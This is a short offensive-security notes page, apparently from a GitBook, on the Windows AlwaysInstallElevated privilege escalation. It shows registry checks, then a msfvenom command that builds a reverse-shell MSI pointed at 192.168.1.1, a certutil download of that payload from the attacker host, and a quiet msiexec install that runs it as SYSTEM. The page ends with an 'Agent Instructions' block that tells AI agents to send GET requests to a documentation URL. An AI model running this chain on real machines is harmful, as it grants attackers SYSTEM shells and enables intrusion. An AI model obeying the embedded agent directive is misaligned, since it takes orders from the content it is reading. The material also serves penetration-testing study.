# AlwaysInstallElevated If these 2 registers are enabled (value is 0x1), then users of any privilege can install (execute) \*.msi files as NT AUTHORITY\SYSTEM. [https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated ](https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated) ``` ����������͹ Checking AlwaysInstallElevated AlwaysInstallElevated set to 1 in HKLM! AlwaysInstallElevated set to 1 in HKCU! ``` ``` reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated ``` ``` $ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.1 LPORT=80 -f msi -o priv.msi ``` ``` certutil.exe -urlcache -split -f "http://192.168.1.1/priv.msi" msiexec /quiet /qn /i C:\Users\test\Desktop\priv.msi ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://cel1s0.gitbook.io/offsec-notes/readme/windows/privesc/alwaysinstallelevated.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.